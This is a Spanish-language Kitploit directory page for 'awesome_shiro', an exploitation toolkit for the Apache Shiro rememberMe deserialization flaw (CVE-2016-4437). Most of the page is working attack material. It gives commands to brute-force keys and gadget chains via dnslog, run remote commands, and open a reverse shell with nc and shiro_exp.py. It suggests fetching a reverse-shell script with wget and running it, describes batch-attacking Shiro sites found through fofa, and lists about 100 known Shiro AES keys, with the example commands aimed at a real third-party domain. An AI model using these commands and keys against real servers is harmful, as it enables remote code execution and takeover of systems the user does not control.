Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Awesome_shiro — CVE-2016-4437-Shiro módulo de fuerza bruta de deserialización y key, ejecución de comandos, script de reverse shell | Kitploit
Herramientas/GitHubGitHub/bkfish/awesome_shiro
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y Control
GitHubbkfish/awesome_shiro

Awesome_shiro

CVE-2016-4437-Shiro módulo de fuerza bruta de deserialización y key, ejecución de comandos, script de reverse shell

Ver Repositorio
5516hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Awesome-shiro

Herramienta para la deserialización de Shiro<=1.2.4 (CVE-2016-4437), fuerza bruta de módulos y key, ejecución de código y reverse shell.


Causa de la vulnerabilidad

Debido a que Shiro deserializa el campo rememberme de la cookie, si se conoce el método de codificación de Shiro y se codifica un comando malicioso con ese método colocándolo en la cookie de la cabecera HTTP, cuando Shiro deserializa el campo rememberme de la cookie enviada, el comando inyectado se ejecuta, lo que finalmente provoca ejecución de comandos.

Shiro utiliza por defecto CookieRememberMeManager, cuyo proceso de manejo de la cookie es: obtener el valor de la cookie rememberMe-->decodificar Base64-->descifrar AES-->deserializar

Entorno

linux/win10 ambos
python2/python3 ambos
Debido a que hay ysoserial.jar en module, el proyecto es algo grande; disculpa las molestias.

Montar el laboratorio local

root@kitploit:~
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

Uso de los scripts

1. shiro_crack.py: uso del módulo de fuerza bruta

Requiere combinarse con http://dnslog.cn/

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn

Tras el éxito, consulta el registro; el formato del registro es {{key}}.{{module}}.dnslogurl

root@kitploit:~
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn

Se sabe que la key exitosa es U3ByaW5nQmxhZGUAAAAAAA== y el módulo es CommonsBeanutils1 Debido a que la key contiene símbolos como ==/+, este proyecto escapa un poco. Debes comparar con las keys del Apéndice 1. Busca uno en fofa para probar. 1.png 2.png

Principio de shiro_crack.py

En realidad, en Internet hay muchas herramientas para forzar módulos y keys, pero tras el éxito normalmente solo consiguen la conexión, sin saber cuál es el módulo y la key, porque para RCE sin eco, tanto si funciona como si no, el código de respuesta es siempre 200. Este proyecto combina la fuerza bruta de módulos y keys con dnslog para obtener indirectamente la key y el módulo correctos. El principio es la esencia de DNSlog: DNS deja registros al resolver; al leer los registros de resolución de dominios multinivel, se obtiene la información de la petición.

2. shiro_rce.py: uso de RCE

Se puede combinar con http://dnslog.cn/

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"

En dnslog se puede ver ping rcetest.x9zm4v.dnslog.cn. Para distinguir, se recomienda usar un dominio de un nivel más específico.

Configuración de shiro_rce

  1. Configurar el módulo Debes cambiar la línea 13 popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)Cambia CommonsBeanutils1 por el módulo utilizado en la fuerza bruta exitosa.
  2. Configurar la key Cambia la línea 16
root@kitploit:~
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 

por la key que tuvo éxito en la fuerza bruta. Busca uno en fofa para probar. 3.png 4.png

3. shiro_getshell: reverse shell

root@kitploit:~
nc -lvnp 7777
python3 shiro_exp.py -u {{攻击的靶机}} -lh {{反弹shell的ip}} -lp {{反弹shell的端口}}

Por seguridad, mejor atacar a un objetivo local. El principio es simplemente empaquetar JRMPListener y el payload juntos; la verdad, en rigor no haría falta jrmplistener.

Prueba de shiro_getshell:

6.png 5.png


Una pequeña idea Ya que puede salir a la red, ¿por qué no usar directamente shiro_rec con bash reverse shell? Lo intenté varias veces y falló; creo que Shiro tiene algún filtro, pero descubrí que se puede descargar primero un script .sh de reverse shell con wget y luego ejecutarlo con sh. Consulta Un pequeño estudio sobre reverse shell sin usar jrmplistener


4. fuzz-shiro

Haz una prueba simple basada en las cabeceras de solicitud y respuesta: pon los sitios web con Shiro en shiro.txt.

5. shiro_piliang_crack.py

Se recomienda obtener primero los sitios con Shiro (shiro.txt) de fuzz-shiro y luego atacar en lote.
El registro de dnsLog es:

{{key}}.{{模块}}.{{url}}.dnsurl

Lo he probado y funciona bastante bien.

Preguntas frecuentes

1. En Windows 10 aparece No module named 'Crypto' al ejecutarlo

Ejecuta el siguiente comando:

root@kitploit:~
pip uninstall crypto pycryptodome
pip install pycryptodome

En \Lib\site-packages del directorio de instalación de Python, cambia el nombre de la carpeta crypto a Crypto.

Apéndice 1. Keys comunes de Shiro

root@kitploit:~
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
Descargar herramienta